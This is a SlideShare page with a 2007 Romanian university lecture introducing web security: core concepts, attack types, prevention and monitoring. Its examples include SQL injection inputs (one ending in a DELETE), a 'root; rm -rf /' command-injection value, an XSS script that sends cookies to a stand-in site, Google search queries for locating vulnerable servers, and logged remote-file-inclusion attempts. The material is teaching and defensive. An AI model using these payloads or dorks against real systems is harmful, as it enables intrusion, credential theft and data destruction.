Tehnologii Web 2007




                          Programare Web
                      Introducere in securitate

        ...
Tehnologii Web 2007


                      cuprins


                        •   Preliminarii
                        •  ...
Tehnologii Web 2007


                      preliminarii

                      • Incident de securitate ≡ eveniment aparu...
Tehnologii Web 2007


                      preliminarii


                      • Vulnerabilitate ≡ slabiciune a unui sis...
Tehnologii Web 2007


                      preliminarii
                      • Cauzele existentei vulnerabilitatilor
   ...
Tehnologii Web 2007


                      aspecte

                       • Aspecte privind securitatea datelor:
       ...
Tehnologii Web 2007


                      aspecte

                      • Confidentialitatea
                        – ...
Tehnologii Web 2007


                      aspecte

                      • Autentificarea
                        – Meca...
Tehnologii Web 2007


                      aspecte

                      • Autorizarea
                        – Specifi...
Tehnologii Web 2007


                      aspecte

                       • Integritatea
                         –In ac...
Tehnologii Web 2007


                      aspecte

                  • Nerepudierea
                      – Expeditorul ...
Tehnologii Web 2007


                      aspecte

                      • Disponibilitatea
                        –O a...
Tehnologii Web 2007


                      aspecte

                      • Intimitatea
                        – Confund...
Tehnologii Web 2007


                      atacuri

                      • Securitatea Web trebuia sa ia in consideratie...
Tehnologii Web 2007


                      atacuri
                      • SQL injection
                         –Scrier...
Tehnologii Web 2007


                      atacuri
                      • SQL injection – variatii
                     ...
Tehnologii Web 2007


                      atacuri
                      • Shell command injection
                      ...
Tehnologii Web 2007


                      atacuri
                      • Cross-Site Scripting (XSS)
                   ...
Tehnologii Web 2007


                      atacuri
                      • Cross-Site Scripting (XSS)
                   ...
Tehnologii Web 2007


                      atacuri

                      • Cross-Site Scripting (XSS) – variatii
       ...
Tehnologii Web 2007


                      atacuri

                      • O problema o pot cauza URI/IRI-urile
        ...
Tehnologii Web 2007


                      atacuri

                      • O alta problema: folosirea parolelor
        ...
Tehnologii Web 2007


                      atacuri


                      • O alta problema: troienii Web
              ...
Tehnologii Web 2007


                      atacuri

                      • Detectarea posibilelor vulnerabilitati
      ...
Tehnologii Web 2007


                      atacuri
                  • Exemple de actiuni:
                      – Detect...
Tehnologii Web 2007


                      atacuri
                  • Exemple de actiuni (continuare):
                 ...
Tehnologii Web 2007


                      prevenirea

                      • Tehnici:
                        – Nivelul...
Tehnologii Web 2007


                       prevenirea
                      • Studiu de caz: consultarea fisierelor de j...
Tehnologii Web 2007


                      supravietuirea

                      • Supravietuirea ≡ capacitatea unui sist...
Tehnologii Web 2007


                      supravietuirea

                      • Sistemul trebuie sa-si duca pina la ca...
Tehnologii Web 2007


                      supravietuirea
                      • Proprietati ale sistemului:
           ...
Tehnologii Web 2007


                      monitorizare & testare
                      • Teste de verificare a:
        ...
Tehnologii Web 2007


                      de retinut

                      • Securitatea unei aplicatii Web:
          ...
Tehnologii Web 2007


                      de retinut

                      • Tipuri de vulnerabilitati specifice:
     ...
Tehnologii Web 2007


                      de retinut

                      • Riscurile de securitate nu vizeaza numai
 ...
Tehnologii Web 2007


                      rezumat


                         •   Preliminarii
                         •...
Tehnologii Web 2007




                      Intrebari…?


                                                     37
  Dr. ...
Upcoming SlideShare
Loading in …5
×

Programare Web (Introducere in securitate)

90,108 views
89,916 views

Published on

A brief introduction into Web security.

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
90,108
On SlideShare
0
From Embeds
0
Number of Embeds
62
Actions
Shares
0
Downloads
164
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Programare Web (Introducere in securitate)

  1. 1. Tehnologii Web 2007 Programare Web Introducere in securitate Dr. Sabin-Corneliu Buraga Facultatea de Informatica Universitatea “A.I.Cuza” – Iasi, Romania http://www.infoiasi.ro/~busaco/ 1 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  2. 2. Tehnologii Web 2007 cuprins • Preliminarii • Aspecte privind securitatea datelor • Atacuri Web • Prevenirea & supravietuirea • Monitorizarea & testarea • De retinut 2 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  3. 3. Tehnologii Web 2007 preliminarii • Incident de securitate ≡ eveniment aparut in cadrul retelei, cu implicatii asupra securitatii unui calculator sau a retelei – Provenind din interiorul ori exteriorul retelei – In cazul nostru, priveste serverul Web, clientul Web si/sau alte componente software aditionale (e.g., serverul de stocare a datelor) • Multe protocoale de baza ale Internetului (inclusiv HTTP) nu au luat in calcul vulnerabilitatile ce pot surveni • Cracker versus hacker 3 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  4. 4. Tehnologii Web 2007 preliminarii • Vulnerabilitate ≡ slabiciune a unui sistem hardware/software ce permite utilizatorilor neautorizati sa aiba acces asupra sa • Nici un sistem nu este 100% sigur • Vulnerabilitatile apar si datorita proastei administrari 4 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  5. 5. Tehnologii Web 2007 preliminarii • Cauzele existentei vulnerabilitatilor – Bug-uri (erori) existente in programe (script-uri, servere Web, navigatoare,...), introduse deseori neintentionat – Ignorarea/nedocumentarea bug-urilor existente (cunoscute) – Configurarea necorespunzatoare a programelor, serverelor si retelelor – Lipsa suportului din partea producatorilor – Comoditatea sau necunoasterea problemelor de securitate de catre administrator ori de conducerea organizatiei 5 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  6. 6. Tehnologii Web 2007 aspecte • Aspecte privind securitatea datelor: –Confidentialitatea –Autentificarea –Autorizarea –Integritatea –Nerepudierea –Intimitatea (privacy) –Disponibilitatea 6 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  7. 7. Tehnologii Web 2007 aspecte • Confidentialitatea – Imposibilitatea unei terte entitati sa aiba acces la datele vehiculate intre doi receptori – Solutii: • conexiuni private intre cele 2 puncte terminale ale canalului de comunicatie; datele circula printr-un tunel oferit de o retea privata virtuala (VPN – Virtual Private Network) • criptarea datelor via diverse tehnici (biblioteci specializate si/sau oferite de mediile de dezvoltare) 7 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  8. 8. Tehnologii Web 2007 aspecte • Autentificarea – Mecanism ce permite utilizatorilor sa acceseze un serviciu dupa verificarea identitatii utilizatorului (uzual, pe baza de nume + parola) – Solutii: • serverul Web ofera suport pentru autentificari de baza sau bazate pe algoritmi de tip digest (e.g., MD5) • folosirea unor tehnici speciale la nivel de aplicatie 8 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  9. 9. Tehnologii Web 2007 aspecte • Autorizarea – Specifica actiunile (rolurile) pe care un utilizator le poate realiza; asociata autentificarii – Se permite administratorului definirea politicilor de control al accesului la servicii – Solutii: • drepturi de acces (permisiuni) + liste de control al accesului (ACL – Access Control List) • controlul accesului bazat pe roluri (RBAC – Role-Based Access Control) • tehnici de tip SSO (Single Sign-On) – e.g., OpenID 9 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  10. 10. Tehnologii Web 2007 aspecte • Integritatea –In acest context, implica detectarea incercarilor de modificare neautorizata a datelor transmise –Solutii: • algoritmi de tip digest • semnaturi digitale 10 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  11. 11. Tehnologii Web 2007 aspecte • Nerepudierea – Expeditorul mesajului nu poate afirma ca nu l-a trimis – Solutie: certificate digitale • stocheaza datele privind identitatea unei entitati detinatoare a unui secret (parola, Infrastructura serie a cartii de credit, certif. digital,…) cu chei publice (PKI – Public • emise de o autoritate de certificare Key (CA – Certification Authority) Infrastruc.) • verificate de o autoritate de inregistrare (RA – Registration Authority) 11 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  12. 12. Tehnologii Web 2007 aspecte • Disponibilitatea –O anumita resursa sa poata fi accesata la momentul oportun –Cauze ale indisponibilitatii: • atacuri de refuz al serviciilor DoS (Denial Of Service) • atacuri distribuite de tip DDoS (Distributed DoS) 12 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  13. 13. Tehnologii Web 2007 aspecte • Intimitatea – Confundata, deseori, cu confidentialitatea – Vizeaza drepturile ce trebuie respectate privind caracterul (subiectul) datelor vehiculate – Brese: • stocarea necorespunzatoare a datelor la nivel de server (information disclosure) • atacuri de tip XSS (Cross-Site Scripting) • atacuri de tip phishing • configurarea necorespunzatoare a sistemelor 13 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  14. 14. Tehnologii Web 2007 atacuri • Securitatea Web trebuia sa ia in consideratie: – Clientul: interactiune, date personale (cookie-uri), transferuri asincrone (via AJAX),… – Datele in tranzit: securitatea retelei, schimb sigur de mesaje, ne-repudiere – Serverul: securitatea serverului ori serverelor, securitatea aplicatiilor, disponibilitatea serviciilor • Atacurile pot viza oricare din cele 3 aspecte! 14 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  15. 15. Tehnologii Web 2007 atacuri • SQL injection –Scrierea unor interogari SQL care permit afisarea, alterarea, stergerea de date din baze de date via formulare Web ori direct prin intermediul URI-ului – Exemplu: select * from studs where name=$name and pass=$pass cu $name preluat din formular: '' or 1=1 -- – Exemplu: http://www.sit.org/access_client.php?client=3 in script: select credit_card from clients where client=$client ce se intimpla daca URI-ul este http://www.sit.org/access_client.php?client=client ? dar daca in loc de select era un delete? 15 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  16. 16. Tehnologii Web 2007 atacuri • SQL injection – variatii – Crearea de interogari SQL incorecte pentru a avea acces la mesaje de eroare “interesante” – Exemplu: http://www.sit.org/prog.php?id=1+OR+gh=1 – Se poate obtine un mesaj precum: [Microsoft][ODBC SQL Server Driver] [SQL Server]Invalid column name ’gh’. SELECT group_id, securityName, maxSalesCharge, price, security_id, trade_date FROM funds WHERE group_id = 1 OR gh=1 ORDER BY price DESC – Atacatorul poate continua, de pilda, cu http://www.sit.org/prog.php?id=1;DELETE+FROM+funds+-- – Solutii: proceduri stocate, neutralizarea meta-caracterelor SQL, prepared statements,… 16 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  17. 17. Tehnologii Web 2007 atacuri • Shell command injection – Posibilitatea de a rula comenzi externe din cadrul script-urilor CGI – Exemplu: fie liniile Perl $utiliz = $form{quot;numequot;}; print `finger $utiliz`; – Ce se intimpla daca din formular se preia root; rm –rf / ? – Idem si pentru programe scrise in alte limbaje interpretate (e.g., PHP) sau chiar cele C – poisonous null-byte attack 17 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  18. 18. Tehnologii Web 2007 atacuri • Cross-Site Scripting (XSS) – “Injectarea” in cadrul sistemului, pentru executia direct in browser, a script-urilor JavaScript/VBScript • Functioneaza mai ales in cadrul siturilor Web permitind interactiunea cu utilizatorul (e.g., forumuri, blog-uri, wiki-uri) • Poate conduce si la furtul identitatii (phishing) sau la plasarea de cod malware la client: Cross-Site Request Forgery 18 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  19. 19. Tehnologii Web 2007 atacuri • Cross-Site Scripting (XSS) – Exemplu: <img src=“javascript:cod” /> ce redirectioneaza utilizatorul spre alt sit, preia valori de cookie-uri ori blocheaza browser-ul – Alte exemple: <script> document.location.replace ( quot;http://www.sit.org/furt.phpquot; + quot;?c=quot; + document.cookie); </script> <script> for (i = 0; i < 3000; i++) window.open (quot;http://www.sit.org/quot;); </script> 19 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  20. 20. Tehnologii Web 2007 atacuri • Cross-Site Scripting (XSS) – variatii – Folosirea de cod JavaScript pentru a modifica textul redat de navigatorul Web utilizatorului – Adoptarea de tehnici de social engineering: manipularea utilizatorilor de catre atacator (prin intimidare, santaj, autoritate, flatare, substitutie de persoana, vanitate etc.) – Furtul de parole – Solutii: inhibarea folosirii tag-urilor HTML, HTML escaping, filtrarea marcatorilor, separarea prezentarii datelor de procesarea efectiva etc. 20 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  21. 21. Tehnologii Web 2007 atacuri • O problema o pot cauza URI/IRI-urile (revezi cursul 1) – Exemplu: http://www.google.com@63. 241.3.69/ – Codificarea defectuoasa a codurilor hexa ⇒ vulnerabilitati in cadrul unor servere Web – Includerea caracterelor Unicode – probleme la decodificarea URL-urilor considerate “sigure” – Siturile avind domenii internationale (IDN – International Domain Names) – atacuri bazate pe homografie 21 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  22. 22. Tehnologii Web 2007 atacuri • O alta problema: folosirea parolelor – 93% din procesele de autentificare folosesc parole – Cu cit utilizatorul trebuie sa retina mai multe parole, cu atit sistemul de protectie via parole e predispus la brese in securitate: • Alegerea unor parole slabe • Partajarea parolelor (grupuri de prieteni, colegi,...) • Scrierea parolelor pe hirtie (eventual, la vedere) • Folosirea unei aceleasi parole timp indelungat, pentru mai multe aplicatii/sisteme – Solutii: Single Sign-On (SSO), identificare biometrica etc. 22 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  23. 23. Tehnologii Web 2007 atacuri • O alta problema: troienii Web – Situri (adrese) aparent folositoare – Se pot folosi in conjunctie cu XSS sau tehnici de tip social engineering – Solutie: implementarea unui sistem de tichete (ticket system) – fiecare actiune ce poate fi realizata de utilizator are asociat un tichet (numar) aleatoriu, folosit o singura data 23 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  24. 24. Tehnologii Web 2007 atacuri • Detectarea posibilelor vulnerabilitati (datorate unor configuratii incorecte ori implicite ale serverelor si/sau aplicatiilor Web) se poate realiza apelind la un motor de cautare –Vezi si proiectul “Google Hack” Honeypot: http://ghh.sourceforge.net/ 24 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  25. 25. Tehnologii Web 2007 atacuri • Exemple de actiuni: – Detectia versiunilor de programe avind bug-uri cunoscute: “Apache/2.0.52 server at” – Accesul la fisiere .bak: inurl:index.php.bak – Accesarea intranet-ului: intitle:intranet – “Vinarea” de e-mail-uri: “@gmail.com” –www.gmail.com – Detectarea paginilor de administrare: “admin login” – Gasirea unor instalari implicite: intitle:”welcome to” intitle:internet IIS – Localizarea interfetelor spre sistemele de baze de date: inurl:main.php phpMyAdmin 25 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  26. 26. Tehnologii Web 2007 atacuri • Exemple de actiuni (continuare): – Localizarea siturilor bazate pe aplicatii Web recunoscute ca fiind vulnerabile: inurl:custva.asp – Cautarea de aplicatii instalate pe diverse masini sau a fisierelor de jurnalizare: inurl:error.log +filetype:log –cvs – Gasirea numelor de utilizatori: filetype:conf inurl:proftpd.conf –sample – Cautarea unor mesaje de eroare generate de aplicatii/servere de baze de date: “ASP.NET_SessionId” “data source=” – Vezi si http://johnny.ihackstuff.com/ 26 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  27. 27. Tehnologii Web 2007 prevenirea • Tehnici: – Nivelul retea: firewall-uri – Nivel de transport: TLS (Transport Layer Security) – autentificarea & confidentialitatea mesajelor HTTP • Autentificare via certificate digitale • Confidentialitate via criptare – Nivel de aplicatie: securitate persistenta a mesajelor vehiculate 27 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  28. 28. Tehnologii Web 2007 prevenirea • Studiu de caz: consultarea fisierelor de jurnalizare 194.87.32.44 quot;GET /~sd/components/com_forum/download.php? phpbb_root_path=http://ccfish.biz/c.txt? HTTP/1.1quot; 404 1015 83.169.102.168 quot;GET /~fl/An1/template.php? name=http://members.lycos.co.uk/djomlauhc/x.dat? HTTP/1.1quot; 404 1015 89.37.44.128 quot;GET /common/labs.xsl HTTP/1.1quot; 404 1192 84.9.62.22 quot;GET /edit.vip.tpe.yahoo.com/config/isp_verify_user? l=voodoostri&p=6969 HTTP/1.1quot; 404 1158 194.109.52.127 quot;GET /~ad/templates/pb/language/lang_nl.php? temppath=http://blog1564448.123-reg-blogs.co.uk/c.txt? HTTP/1.1quot; 404 1015 86.54.21.123 quot;GET /MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=2614 &STRMVER=4&CAPREQ=0 HTTP/1.0quot; 404 1015 86.54.21.123 quot;GET /_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=2614 &STRMVER=4&CAPREQ=0 HTTP/1.0quot; 404 1015 28 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  29. 29. Tehnologii Web 2007 supravietuirea • Supravietuirea ≡ capacitatea unui sistem (calculator/retea) de a-si indeplini misiunea, in timp util, in pofida atacurilor, defectelor sau accidentelor • Atac ≡ eveniment potential distrugator provocat intentionat de persoane rau-voitoare • Defect ≡ eveniment potential distrugator cauzat de deficiente ale sistemului sau ale unui factor de care depinde sistemul (e.g., defecte hardware, bug-uri software, erori ale utilizatorilor) • Accident ≡ evenimente aleatoare (neprevazute); exemple: dezastre naturale sau caderi de tensiune 29 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  30. 30. Tehnologii Web 2007 supravietuirea • Sistemul trebuie sa-si duca pina la capat misiunea chiar daca unele componente sau parti din sistem sint afectate ori scoase din uz – Exemplu: oferirea unei copii read-only a forumului de discutii sau blog-ului asociat unui domeniu/produs • Sistemul trebuie sa sustina macar indeplinirea functiilor vitale (mission-critical) – Identificarea serviciilor esentiale (e.g., acces la lista produselor in cazul unui sit de comert electronic) 30 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  31. 31. Tehnologii Web 2007 supravietuirea • Proprietati ale sistemului: – Rezistenta la atacuri ≡ strategii de respingere a atacului (i.e. validarea obligatorie a datelor – via expresii regulate, scheme XML etc., autentificarea utilizatorilor, acordarea privilegiilor minime) – Recunoasterea atacurilor si efectelor lor ≡ strategii pentru restaurarea informatiilor, limi- tarea efectelor, mentinerea/restaurarea serviciilor compromise (e.g., recurgerea la ferme de servere Web – Web farms, RAID, SAN (Storage Area Network), backup-uri,...) – Adaptarea la atacuri ≡ strategii pentru imbunatatirea nivelului (sansei) de supravietuire (invatarea din greseli) 31 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  32. 32. Tehnologii Web 2007 monitorizare & testare • Teste de verificare a: – Capacitatii de deservire a clientilor – Robustetei – Rularii in situatii extreme • Se iau in consideratie: – Tipul navigatorului (+setarile implicite) – Platforma (hardware, sistem de operare,...) – Interfata (rezolutia ecranului, adincimea de culoare, largimea de banda,...) – Politica de caching (+siguranta proxy-ului) – Suportul pentru redarea unor tipuri de documente (securitatea folosirii plugin-urilor) – Limbajul/limbajele de programare utilizate (inclusiv, serverul/serverele de aplicatii) 32 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  33. 33. Tehnologii Web 2007 de retinut • Securitatea unei aplicatii Web: – Trebuie sa ia in consideratie arhitectura, logica, codul-sursa si continutul in ansamblu – Nu vizeaza vulnerabilitatile sistemului de operare ori ale programelor auxiliare • Vulnerabilitatile unui sit nu sint “celebre” si vor fi independente deseori de securitatea sistemului pe care este exploatat situl 33 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  34. 34. Tehnologii Web 2007 de retinut • Tipuri de vulnerabilitati specifice: –Probleme de autentificare –Managementul sesiunilor –Injectarea de scripturi (XSS) ori comenzi SQL –Expunerea (involuntara) a informatiilor delicate (information disclosure) –Accesul la codul-sursa ori la fisierele de configurare a aplicatiei Web 34 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  35. 35. Tehnologii Web 2007 de retinut • Riscurile de securitate nu vizeaza numai proprietarul sitului, ci si utilizatorul final • Disconforturi cauzate de un sit nesigur: – Financiare (pierdere de bani/informatii) – De performanta (blocarea navigatorului, incetinirea actiunilor,...) – Psihologice (insatisfactie) – Sociale (e.g., incapacitatea de munca, lipsa comunicarii cu partenerii de lucru etc.) – De timp (navigare greoaie, deturnare spre alt sit,...) 35 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  36. 36. Tehnologii Web 2007 rezumat • Preliminarii • Aspecte privind securitatea datelor • Atacuri Web • Prevenirea & supravietuirea • Monitorizarea & testarea • De retinut 36 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  37. 37. Tehnologii Web 2007 Intrebari…? 37 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

×